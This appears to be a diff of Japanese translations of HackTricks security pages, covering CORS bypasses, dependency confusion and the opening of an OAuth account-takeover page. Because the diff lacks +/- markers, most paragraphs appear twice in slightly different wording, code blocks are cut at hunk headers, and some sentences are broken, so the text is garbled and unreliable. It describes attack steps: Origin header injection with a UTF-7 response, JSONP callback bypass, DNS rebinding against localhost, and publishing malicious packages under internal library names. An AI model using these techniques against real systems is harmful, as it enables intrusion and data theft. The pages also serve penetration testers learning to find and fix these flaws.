例として、`requester.com`というドメインが、別のドメインである`provider.com`からリソースにアクセスすることが許可されるようにホワイトリストに登録されているとします。サーバーサイドの構成は次のようになるかもしれません:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@ -210,13 +210,11 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
このセットアップでは、`requester.com` のすべてのサブドメインがアクセスを許可されています。ただし、`sub.requester.com` のようなサブドメインがXSSの脆弱性で侵害されると、攻撃者はこの弱点を悪用できます。例えば、`sub.requester.com` にアクセス権限を持つ攻撃者は、XSSの脆弱性を悪用して、CORSポリシーをバイパスし、`provider.com` のリソースに悪意を持ってアクセスすることができます。
### **サーバーサイドキャッシュポイズニング**
[**この研究から**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
HTTPヘッダーインジェクションを介してサーバーサイドキャッシュポイズニングを悪用することで、格納されたクロスサイトスクリプティングXSS脆弱性を誘発する可能性があります。このシナリオは、アプリケーションが`Origin`ヘッダーを違法な文字でサニタイズしない場合に発生し、特にInternet ExplorerとEdgeユーザーにとって脆弱性を作成します。これらのブラウザは、(0x0d)を正当なHTTPヘッダー終端子として扱い、HTTPヘッダーインジェクションの脆弱性を引き起こします。
サーバーサイドキャッシュポイズニングを悪用することで、HTTPヘッダーインジェクションを介して格納されたクロスサイトスクリプティングXSS脆弱性を誘発する可能性があります。このシナリオは、アプリケーションが`Origin`ヘッダーを違法な文字でサニタイズしない場合に発生し、特にInternet ExplorerとEdgeユーザーにとって脆弱性を作成します。これらのブラウザは、0x0dを合法的なHTTPヘッダーターミネーターとして扱い、HTTPヘッダーインジェクションの脆弱性を引き起こします。
次のリクエストを考慮してください。`Origin`ヘッダーが操作されています:
```
@ -229,21 +227,21 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
直接的にこの脆弱性を悪用してウェブブラウザが不正なヘッダを送信することは実現可能ではありませんが、Burp Suiteなどのツールを使用して手動で生成された作成されたリクエスト、サーバーサイドキャッシュが応答を保存し、他のユーザーに提供される可能性があります。 作成されたペイロードは、ページの文字セットをUTF-7に変更することを目的としており、これは特定のコンテキストでスクリプトとして実行できるように文字をエンコードする能力を持つため、XSS脆弱性にしばしば関連付けられています。
直接的にこの脆弱性を悪用するためにウェブブラウザが不正なヘッダーを送信することは実現不可能ですが、Burp Suiteなどのツールを使用して手動で生成された作成されたリクエストを使用することで、サーバーサイドキャッシュが応答を保存し、他のユーザーに提供される可能性があります。 作成されたペイロードは、ページの文字セットをUTF-7に変更することを目的としており、これは特定のコンテキストでスクリプトとして実行できる方法で文字をエンコードする能力を持つため、XSS脆弱性にしばしば関連付けられています。
格納されたXSS脆弱性に関する詳細は、[PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)を参照してください。
格納されたXSS脆弱性に関する詳細は、[PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)を参照してください。
**注意**: 特にサーバーサイドキャッシュポイズニングを通じたHTTPヘッダーインジェクション脆弱性の悪用は、HTTPヘッダーを含むすべてのユーザー提供入力の検証とサニタイズの重要性を強調しています。 このような脆弱性を防ぐために入力検証を含む堅牢なセキュリティモデルを常に採用してください。
**注意**: 特にサーバーサイドキャッシュポイズニングを通じたHTTPヘッダーインジェクション脆弱性の悪用は、HTTPヘッダーを含むすべてのユーザー提供入力の検証とサニタイズの重要性を強調しています。 このような脆弱性を防ぐために入力検証を含む堅牢なセキュリティモデルを常に採用してください。
### **クライアントサイドキャッシュポイズニング**
[**この研究から**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
このシナリオでは、適切なエンコーディングなしにカスタムHTTPヘッダーの内容を反映するウェブページのインスタンスが観察されます。 具体的には、ウェブページは`X-User-id`ヘッダーに含まれる内容を反映し、この内容にはロード時にJavaScriptコードを実行するように設計されたSVGイメージタグが含まれる例によって示されるように、悪意のあるJavaScriptを含む可能性があります。
このシナリオでは、適切なエンコーディングなしにカスタムHTTPヘッダーの内容を反映するウェブページのインスタンスが観察されます。 具体的には、ウェブページは`X-User-id`ヘッダーに含まれる内容を反映し、この内容にはロード時にJavaScriptコードを実行するように設計されたSVGイメージタグが含まれる例によって示されるように、悪意のあるJavaScriptを含む可能性があります。
Cross-Origin Resource SharingCORSポリシーにより、カスタムヘッダーの送信が可能になります。 ただし、CORS制限によりブラウザによって直接レンダリングされない場合、そのようなインジェクションの有用性は限定されているように見えるかもしれません。 重要な点は、ブラウザのキャッシュ動作を考慮する際に発生します。 `Vary: Origin`ヘッダーが指定されていない場合、ブラウザによって悪意のある応答がキャッシュされる可能性があります。 その後、このキャッシュされた応答は、初回リクエスト時の直接レンダリングをバイパスして、URLに移動する際に直接レンダリングされる可能性があります。 このメカニズムは、クライアントサイドキャッシングを活用することで攻撃の信頼性を高めます。
Cross-Origin Resource SharingCORSポリシーにより、カスタムヘッダーの送信が可能になります。 ただし、CORS制限によりブラウザによって応答が直接レンダリングされない場合、そのようなインジェクションの有用性は限定されているように見えるかもしれません。 重要な点は、ブラウザのキャッシュ動作を考慮する際に発生します。 `Vary: Origin`ヘッダーが指定されていない場合、悪意のある応答がブラウザによってキャッシュされる可能性があります。 その後、このキャッシュされた応答は、初回リクエスト時の直接レンダリングの必要性をバイパスして、URLに移動する際に直接レンダリングされる可能性があります。 このメカニズムは、クライアントサイドキャッシングを活用することで攻撃の信頼性を高めます。
この攻撃を説明するために、JavaScriptの例が提供されており、JSFiddleなどの環境でウェブページの環境で実行されるように設計されています。 このスクリプトは単純なアクションを実行します悪意のあるJavaScriptを含むカスタムヘッダーを含む指定されたURLにリクエストを送信します。 リクエストが正常に完了すると、ターゲットURLに移動し、`Vary: Origin`ヘッダーの適切な処理が行われずに応答がキャッシュされている場合、注入されたスクリプトの実行をトリガーする可能性があります。
この攻撃を説明するために、JavaScriptの例が提供されており、JSFiddleなどの環境で実行されるように設計されています。 このスクリプトは単純なアクションを実行します悪意のあるJavaScriptを含むカスタムヘッダーを含むリクエストを指定されたURLに送信します。 リクエストの完了後、ターゲットURLに移動し、`Vary: Origin`ヘッダーの適切な処理が行われずに応答がキャッシュされている場合、注入されたスクリプトの実行をトリガーする可能性があります。
この攻撃を実行するために使用されるJavaScriptの要約を以下に示します
```html
@ -259,30 +257,30 @@ req.send();
```
## バイパス
### XSSICross-Site Script Inclusion/ JSONP
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は、スクリプトタグを使用してリソースを含む際に同一オリジンポリシーSOPが適用されないという事実を利用するタイプの脆弱性です。これは、スクリプトが異なるドメインから含まれる必要があるためです。この脆弱性により、攻撃者はスクリプトタグを使用して含まれた任意のコンテンツにアクセスして読むことができます。
この脆弱性は、特にダイナミックJavaScriptやJSONPPadding付きJSONに関連する場合に特に重要です。特に、クッキーなどの環境権限情報が認証に使用される場合です。異なるホストからリソースを要求する際、クッキーが含まれ、それにより攻撃者がアクセスできるようになります。
この脆弱性は、特にダイナミックJavaScriptやJSONPPadding付きJSONに関連する場合に特に重要です。特に、クッキーなどの環境権限情報が認証に使用される場合です。異なるホストからリソースを要求する際、クッキーが含まれ、それにより攻撃者がアクセスできるようになります。
この脆弱性をよりよく理解し、緩和するためには、[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)で利用可能なBurpSuiteプラグインを使用できます。このプラグインは、WebアプリケーションでのXSSI脆弱性を特定対処するのに役立ちます。
この脆弱性をよりよく理解し、緩和するためには、[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)で利用可能なBurpSuiteプラグインを使用できます。このプラグインは、WebアプリケーションでのXSSI脆弱性を特定および対処するのに役立ちます。
[**異なる種類のXSSIとその悪用方法について詳しく読むにはこちらをクリックしてください。**](xssi-cross-site-script-inclusion.md)
[**異なるXSSIのタイプとそれらをどのように悪用するかについて詳しく読むにはこちらをクリックしてください。**](xssi-cross-site-script-inclusion.md)
リクエストに **`callback`** **パラメータ** を追加してみてください。ページがJSONPとしてデータを送信するように準備されている可能性があります。その場合、ページは`Content-Type: application/javascript`でデータを返し、CORSポリシーをバイパスします。
リクエストに **`callback`** **パラメータ** を追加してみてください。おそらくページはデータをJSONPとして送信するように準備されているかもしれません。その場合、ページは`Content-Type: application/javascript`でデータを返し、これによりCORSポリシーがバイパスされます。
![](<../.gitbook/assets/image (853).png>)
### 簡単(無意味?)なバイパス
`Access-Control-Allow-Origin` 制限をバイパスする方法の1つは、Webアプリケーションにリクエストしてもらい、その応答を返すようにすることです。ただし、このシナリオでは、最終的な被害者の資格情報は異なるドメインにリクエストが行われるため送信されません。
`Access-Control-Allow-Origin` 制限をバイパスする1つの方法は、Webアプリケーションにリクエストしてもらい、その応答を返すことです。ただし、このシナリオでは、最終的な被害者の資格情報は異なるドメインにリクエストが行われるため送信されません。
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): このツールは、リクエストとそのヘッダーを転送するプロキシを提供し、同時にOriginヘッダーをリクエストされたドメインに一致するようにスプーフィングします。これにより、CORSポリシーがバイパスされます。以下はXMLHttpRequestを使用した例です
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): このツールは、リクエストをそのまま渡す代わりに、サーバーが指定されたパラメータで独自のリクエストを行う法を提供します。
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): このツールは、リクエストとそのヘッダーを転送するプロキシを提供し、同時に要求されたドメインに一致するようにOriginヘッダーをスプーフィングします。これにより、CORSポリシーが効果的にバイパスされます。以下はXMLHttpRequestを使用した例です
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): このツールは、リクエストをそのまま渡す代わりに、サーバーが指定されたパラメータで独自のリクエストを行う代替手法を提供します。
### Iframe + Popup バイパス
`e.origin === window.origin` のようなCORSチェックを **バイパス** する方法は、**iframeを作成**し、**そこから新しいウィンドウを開く**ことです。詳細は以下のページで確認できます:
**`e.origin === window.origin`** のようなCORSチェックを **バイパス** するために、**iframeを作成**し、**そこから新しいウィンドウを開く**こときます。詳細は以下のページで確認できます:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
@ -290,50 +288,50 @@ XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は
### TTL経由のDNSリバインディング
TTL経由のDNSリバインディングは、DNSレコードを操作して特定のセキュリティ対策をバイパスするため技術です。動作方法は次のとおりです:
TTL経由のDNSリバインディングは、DNSレコードを操作して特定のセキュリティ対策をバイパスするために使用される技術です。動作方法は次のとおりです:
1. 攻撃者はWebページを作成し、被害者にアクセスさせます。
2. 攻撃者は自分のドメインのDNSIPを被害者のWebページを指すように変更します。
3. 被害者のブラウザはDNS応答をキャッシュし、TTLTime to Live値がDNSレコードが有効と見なすべき期間を示す場合があります。
4. TTLが切れると、被害者のブラウザは新しいDNSリクエストを行い、攻撃者被害者のページでJavaScriptコードを実行できます。
3. 被害者のブラウザはDNS応答をキャッシュし、そのDNSレコードが有効であるべき期間を示すTTLTime to Live値を持つ場合があります。
4. TTLが切れると、被害者のブラウザは新しいDNSリクエストを行い、攻撃者被害者のページでJavaScriptコードを実行できるようになります。
5. 被害者のIPを制御することで、攻撃者は被害者からクッキーを送信せずに情報を収集できます。
この技術は、ブラウザによるキャッシュメカニズムがあるため、TTL値が低くてもこの技術をすぐに悪用することが防がれる可能性があることに注意してください
この技術は、ブラウザによるこの技術の即時悪用を防ぐ可能性があることに注意することが重要です
DNSリバインディングは、被害者によって実行される明示的なIPチェックをバイパスするためや、ユーザーボットが同じページに長時間滞在するシナリオなど、キャッシュが切れるのを待つことができる場合に有用です。
DNSリバインディングは、被害者によって実行される明示的なIPチェックをバイパスするためや、ユーザーまたはボットが同じページに長時間滞在するシナリオなど、キャッシュが期限切れになるのを待つ場合に有用です。
DNSリバインディングを素早く悪用する必要がある場合は、[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)のようなサービスを用できます。
DNSリバインディングを素早く悪用する必要がある場合は、[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)のようなサービスを使用できます。
独自のDNSリバインディングサーバーを実行するには、**DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))のようなツールを利用できます。これには、ローカルポート53/udpを公開し、それを指すAレコードを作成ns.example.com、以前に作成したAサブドメインを指すNSレコードを作成する必要があります。ns.example.comサブドメインの任意のサブドメインは、あなたのホストによって解決されます。
独自のDNSリバインディングサーバーを実行するには、**DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))のようなツールを利用できます。これには、ローカルポート53/udpを公開し、それを指すAレコードns.example.comを作成し、以前に作成したAサブドメインを指すNSレコードを作成する必要があります。ns.example.comサブドメインの任意のサブドメインは、ホストによって解決されます。
さらに理解と実験のために、[http://rebind.it/singularity.html](http://rebind.it/singularity.html)で公開されているサーバーを探索することもできます。
### DNSリバインディング経由の **DNSキャッシュフラッディング**
DNSリバインディング経由のDNSキャッシュフラッディングは、ブラウザのキャッシュメカニズムをバイパスし、2回目のDNSリクエストを強制するため別の技術です。動作方法は次のとおりです:
DNSリバインディング経由のDNSキャッシュフラッディングは、ブラウザのキャッシュメカニズムをバイパスし、2回目のDNSリクエストを強制するために使用される別の技術です。動作方法は次のとおりです:
1. 最初に、被害者がDNSリクエストを行うと、攻撃者のIPアドレスで応答されます。
2. キャッシュ防御をバイパスするために、攻撃者はサービスワーカーを利用します。サービスワーカーはDNSキャッシュをフラッドし、キャッシュされた攻撃者のサーバー名を効果的に削除します。
3. 被害者のブラウザが2回目のDNSリクエストを行うと、IPアドレス127.0.0.1で応答されるようになります。通常、これはlocalhostを指します。
サービスワーカーによるDNSキャッシュのフラッディングにより、攻撃者はDNS解決プロセスを操作し、被害者のブラウザに2回目のリクエストを強制し、今度は攻撃者が望むIPアドレスに解決させることができます。
サービスワーカーを使用してDNSキャッシュをフラッドすることで、攻撃者はDNS解決プロセスを操作し、被害者のブラウザに2回目のリクエストを行わせ、今度は攻撃者が望むIPアドレスに解決させることができます。
### キャッシュ経由のDNSリバインディング
### DNSリバインディング経由の **キャッシュ**
キャッシュ防御をバイパスする別の方法は、DNSプロバイダーで同じサブドメインに複数のIPアドレスを利用することです。動作方法は次のとおりです
1. 攻撃者はDNSプロバイダーで同じサブドメインの2つのAレコードまたは2つのIPを持つ1つのAレコードを設定します。
2. ブラウザがこれらのレコードをチェックすると、両方のIPアドレスが受け取られます。
1. 攻撃者はDNSプロバイダーで同じサブドメインの2つのAレコードまたは2つのIPを持つ単一のAレコードを設定します。
2. ブラウザがこれらのレコードをチェックすると、両方のIPアドレスが受信されます。
3. ブラウザが最初に攻撃者のIPアドレスを使用することを決定した場合、攻撃者は同じドメインへのHTTPリクエストを実行するペイロードを提供できます。
4. ただし、攻撃者が被害者のIPアドレスを取得したら、被害者のブラウザに応答を停止します。
5. ブラウザは、ドメインが応答しないことを認識すると、2番目に指定されたIPアドレスを使用し始めます。
6. 2番目のIPアドレスにアクセスすることで、ブラウザは同一オリジンポリシーSOPをバイパスし、攻撃者はこれを悪用して情報を収集および外部送信できます。
6. 2番目のIPアドレスにアクセスすることで、ブラウザは同一オリジンポリシーSOPをバイパスし、攻撃者はこれを悪用して被害者から情報を収集および外部送信できます。
この技術は、1つのドメインに複数のIPアドレスが提供された場合のブラウザの動作を活用します。応答を戦略的に制御し、ブラウザがどのIPアドレスを選択するかを操作することで、攻撃者はSOPを悪用し、被害者から情報にアクセスできます。
この技術は、1つのドメインに複数のIPアドレスが提供された場合のブラウザの動作を活用します。応答を戦略的に制御し、ブラウザがIPアドレスの選択を操作することで、攻撃者はSOPを悪用し、被害者から情報にアクセスできます。
{% hint style="warning" %}
localhostにアクセスするためには、Windowsでは **127.0.0.1**、Linuxでは **0.0.0.0** を再バインドする必要があります。\
GodaddyやCloudflareなどのプロバイダーは、IP **0.0.0.0** を使用することができませんでしたが、AWS Route53では1つのAレコードを作成し、そのうちの1つを "0.0.0.0" にすることができました。
GodaddyやCloudflareなどのプロバイダーは、IP **0.0.0.0** を使用することを許可してくれませんでしたが、AWS Route53は2つのIPのうちの1つを "0.0.0.0" として作成することを許可してくれました。
<img src="../.gitbook/assets/image (137).png" alt="" data-size="original">
{% endhint %}
@ -345,7 +343,7 @@ GodaddyやCloudflareなどのプロバイダーでは、IP **0.0.0.0** を使用
* もし**内部IPが許可されていない**場合、**localhost**への**CNAME**で応答するLinuxとMacで機能します
* **内部IPがDNS応答として許可されていない**場合、www.corporate.internalなどの**内部サービスへのCNAME**で応答できます。
### DNS Rebiddingの武器化
### DNS Rebindingの武器化
前述のバイパス技術に関する詳細情報や以下のツールの使用方法については、[Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)での講演を参照してください。
@ -360,7 +358,7 @@ GodaddyやCloudflareなどのプロバイダーでは、IP **0.0.0.0** を使用
## **ツール**
**CORSポリシーの可能なミス構成をファジング**
**CORSポリシーの構成ミスをファジングする**
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
@ -382,20 +380,20 @@ GodaddyやCloudflareなどのプロバイダーでは、IP **0.0.0.0** を使用
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見す
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォローしてください。**
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
</details>

View file

@ -2,48 +2,48 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングテクニックを共有する**ために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 基本情報
要約すると、依存関係の混乱の脆弱性は、プロジェクトが**スペルミス**、**存在しない**ライブラリ、または**指定されていないバージョン**を使用しており、使用されている依存関係リポジトリが**公開リポジトリから更新されたバージョンを収集できる**場合に発生します。
要約すると、依存関係の混乱の脆弱性は、プロジェクトが**スペルミス**、**存在しない**ライブラリ、または**指定されていないバージョン**を使用しており、使用されている依存関係リポジトリが**公開リポジトリから更新されたバージョンを収集することを許可**しているときに発生します。
* **スペルミス**: `requests`の代わりに**`reqests`**をインポート
* **存在しない**: 存在しない内部ライブラリである`company-logging`をインポート
* **指定されていないバージョン**: 内部の**存在する**`company-requests`ライブラリをインポートしますが、リポジトリは**公開リポジトリ**をチェックして**より新しいバージョン**があるかどうかを確認します。
* **指定されていないバージョン**: **内部**の**存在する**`company-requests`ライブラリをインポートしますが、リポジトリは**公開リポジトリ**をチェックして、**より大きなバージョン**があるかどうかを確認します。
## 悪用
{% hint style="warning" %}
すべての場合、攻撃者は単に被害企業が使用しているライブラリの**名前を持つ悪意のあるパッケージを公開する**必要があります。
すべての場合において、攻撃者は単に被害企業が使用しているライブラリの名前を持つ**悪意のあるパッケージを公開する必要があります**
{% endhint %}
### スペルミス&存在しない
企業が**内部ではないライブラリをインポートしようとしている**場合、ライブラリのリポジトリは**おそらく公開リポジトリ**でそれを検索しようとします。攻撃者がそれを作成している場合、あなたのコードと実行中のマシンはおそらく**侵害される**でしょう
企業が**内部ではないライブラリをインポートしようとしている**場合、ライブラリのリポジトリは**おそらく公開リポジトリ**でそれを検索しようとします。攻撃者がそれを作成している場合、あなたのコードと実行中のマシンはおそらく**侵害される可能性が高い**です
### 指定されていないバージョン
開発者がライブラリのバージョンを**指定しない**か、**メジャーバージョン**のみを指定することは非常に一般的です。その後、インタプリタはこれらの要件に一致する**最新バージョン**をダウンロードしようとします。\
ライブラリが**既知の外部ライブラリ**(例:Pythonの`requests`)である場合、**攻撃者はあまりできません**。なぜなら、`requests`というライブラリを作成することはできないからです(元の著者でない限り)。\
ただし、この例のように、`requests-company`のような**内部ライブラリ**の場合、**ライブラリリポジトリ**が**外部からも新しいバージョンを確認できる**場合、公開で利用可能な新しいバージョンを検索します。\
したがって、**攻撃者が**企業が`requests-company`ライブラリ**バージョン1.0.1**を使用していることを**知っている**場合(マイナーアップデートを許可)、`requests-company`**バージョン1.0.2**を**公開**すると、企業は内部のものの代わりに**そのライブラリを使用**します。
開発者がライブラリのバージョンを**指定しない**か、**メジャーバージョン**のみを指定することは非常に一般的です。その後、インタプリタはこれらの要件に一致する**最新バージョン**をダウンロードしようとします。\
ライブラリが**既知の外部ライブラリ**(例:python `requests`)である場合、**攻撃者はあまりできません**。なぜなら、`requests`というライブラリを作成することはできないからです(元の著者でない限り)。\
ただし、この例のように、`requests-company`のような**内部**のライブラリの場合、**ライブラリリポジトリ**が**外部からも新しいバージョンを確認できる**場合、公開で利用可能な新しいバージョンを検索します。\
したがって、**攻撃者が**企業が`requests-company`ライブラリ**バージョン1.0.1**を使用していることを知っている場合(マイナーアップデートを許可)、`requests-company`**バージョン1.0.2**を公開することができ、企業は**内部のものの代わりにそのライブラリを使用**することになります。
## AWSの修正
この脆弱性はAWSの**CodeArtifact**で見つかりました(このブログ投稿の[**詳細を読む**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d))。\
この脆弱性はAWSの**CodeArtifact**で見つかりました(このブログポストの[**詳細を読む**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d))。\
AWSは、内部依存関係を外部リポジトリからダウンロードすることを避けるために、ライブラリが内部か外部かを指定できるように修正しました。
## 脆弱なライブラリの検出
@ -55,18 +55,18 @@ AWSは、内部依存関係を外部リポジトリからダウンロードす
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングテクニックを共有する**ために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details>

View file

@ -1,52 +1,52 @@
# OAuthを使用したアカウント乗っ取り
# OAuthを用したアカウント乗っ取り
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
